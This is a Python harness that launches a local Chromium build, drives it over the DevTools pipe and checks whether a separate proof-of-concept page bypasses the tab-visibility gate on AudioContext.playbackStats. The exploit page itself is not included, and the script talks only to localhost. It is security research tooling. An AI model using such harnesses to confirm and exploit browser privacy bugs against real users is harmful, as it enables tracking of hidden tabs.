#!/usr/bin/env python3 """ Automated driver for the AudioContext.playbackStats visibility-gate bypass POC. Drives Chrome via the CDP pipe (--remote-debugging-pipe) so no websocket library is required. Sequence: 1. Serve poc.html on http://127.0.0.1:8080/. 2. Launch headless Chrome with fake audio output and no-gesture autoplay. 3. Load the POC page; wait for window.__poc_ready. 4. Create + activate a second tab so the POC tab fires visibilitychange -> 'hidden'. Hold for ~5 s. 5. Re-activate the POC tab -> 'visible'. 6. Wait for window.__poc_done; dump the [POC] console log lines. The POC page itself computes and prints the verdict. """ import json, os, subprocess, sys, threading, time, http.server, socketserver HERE = os.path.dirname(os.path.abspath(__file__)) CHROME = os.environ.get('CHROME', '/chromium/chromium/src/out/asan/chrome') PORT = 8080 HIDE_S = 5.0 # ---------------------------------------------------------------- HTTP server def start_server(): os.chdir(HERE) class H(http.server.SimpleHTTPRequestHandler): def log_message(self, *a): pass socketserver.TCPServer.allow_reuse_address = True httpd = socketserver.TCPServer(('127.0.0.1', PORT), H) threading.Thread(target=httpd.serve_forever, daemon=True).start() return httpd # ---------------------------------------------------------------- CDP-over-pipe class CDP: def __init__(self, proc, wfd, rfd): self.proc, self.w = proc, wfd self.next_id = 1 self.replies, self.events = {}, [] self.cv = threading.Condition() threading.Thread(target=self._reader, args=(rfd,), daemon=True).start() def _reader(self, rfd): buf = b'' while True: chunk = os.read(rfd, 65536) if not chunk: break buf += chunk while b'\x00' in buf: raw, buf = buf.split(b'\x00', 1) if not raw: continue msg = json.loads(raw) with self.cv: if 'id' in msg: self.replies[msg['id']] = msg else: self.events.append(msg) self.cv.notify_all() def send(self, method, params=None, session=None, timeout=30): mid = self.next_id; self.next_id += 1 m = {'id': mid, 'method': method, 'params': params or {}} if session: m['sessionId'] = session os.write(self.w, json.dumps(m).encode() + b'\x00') deadline = time.time() + timeout with self.cv: while mid not in self.replies: rem = deadline - time.time() if rem <= 0: raise TimeoutError(f'{method} timed out') self.cv.wait(rem) r = self.replies.pop(mid) if 'error' in r: raise RuntimeError(f'{method}: {r["error"]}') return r.get('result', {}) def wait_event(self, name, pred=None, timeout=30): deadline = time.time() + timeout with self.cv: while True: for i, e in enumerate(self.events): if e.get('method') == name and (pred is None or pred(e)): return self.events.pop(i) rem = deadline - time.time() if rem <= 0: raise TimeoutError(f'event {name} timed out') self.cv.wait(rem) # ---------------------------------------------------------------- main def main(): httpd = start_server() print(f'[*] http server on http://127.0.0.1:{PORT}/poc.html') # Pipes for --remote-debugging-pipe: child reads fd3, writes fd4. in_r, in_w = os.pipe() # we write -> chrome reads (fd3) out_r, out_w = os.pipe() # chrome writes (fd4) -> we read user_dir = '/tmp/chrome-poc-profile' subprocess.run(['rm', '-rf', user_dir]) args = [ CHROME, '--headless=new', '--no-sandbox', '--disable-gpu', '--no-first-run', '--no-default-browser-check', '--disable-audio-output', # fake audio output stream '--autoplay-policy=no-user-gesture-required', '--enable-logging=stderr', '--v=0', '--remote-debugging-pipe', f'--user-data-dir={user_dir}', 'about:blank', ] print('[*] launching chrome') # Chrome's --remote-debugging-pipe reads CDP from fd 3 and writes to fd 4. # dup2() in preexec_fn places the pipe ends there; close_fds=False so the # subprocess fd-closer doesn't strip them before exec(). proc = subprocess.Popen( args, close_fds=False, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, preexec_fn=lambda: (os.dup2(in_r, 3), os.dup2(out_w, 4))) os.close(in_r); os.close(out_w) poc_lines = [] def drain_stderr(): for line in proc.stdout: s = line.decode(errors='replace').rstrip() if '[POC]' in s: # CONSOLE log lines look like: ...INFO:CONSOLE:NN] "..." try: msg = s.split('"', 1)[1].rsplit('", source', 1)[0] except Exception: msg = s poc_lines.append(msg) print(msg) threading.Thread(target=drain_stderr, daemon=True).start() cdp = CDP(proc, in_w, out_r) try: # Attach to the browser-level target to manage tabs. cdp.send('Target.setDiscoverTargets', {'discover': True}) # Create POC tab. poc_tid = cdp.send('Target.createTarget', {'url': f'http://127.0.0.1:{PORT}/poc.html'})['targetId'] sess = cdp.send('Target.attachToTarget', {'targetId': poc_tid, 'flatten': True})['sessionId'] cdp.send('Runtime.enable', session=sess) cdp.send('Page.enable', session=sess) # Wait until the page signals readiness. print('[*] waiting for __poc_ready ...') for _ in range(60): r = cdp.send('Runtime.evaluate', {'expression': '!!window.__poc_ready', 'returnByValue': True}, session=sess) if r.get('result', {}).get('value'): break time.sleep(0.5) else: raise RuntimeError('POC page never became ready') # Hide the POC tab by creating + activating another tab. print(f'[*] hiding POC tab for {HIDE_S:.1f}s ...') blank_tid = cdp.send('Target.createTarget', {'url': 'about:blank'})['targetId'] cdp.send('Target.activateTarget', {'targetId': blank_tid}) time.sleep(HIDE_S) # Re-activate the POC tab. print('[*] un-hiding POC tab ...') cdp.send('Target.activateTarget', {'targetId': poc_tid}) # Wait for verdict. print('[*] waiting for __poc_done ...') for _ in range(60): r = cdp.send('Runtime.evaluate', {'expression': '!!window.__poc_done', 'returnByValue': True}, session=sess) if r.get('result', {}).get('value'): break time.sleep(0.5) else: print('[!] POC did not complete in time', file=sys.stderr) time.sleep(0.5) finally: try: cdp.send('Browser.close', timeout=5) except Exception: pass try: proc.wait(timeout=10) except Exception: proc.kill() httpd.shutdown() print() ok = any('VERDICT: VULNERABLE' in l for l in poc_lines) print('[+] DONE — verdict:', 'VULNERABLE' if ok else 'see log above') return 0 if ok else 1 if __name__ == '__main__': sys.exit(main())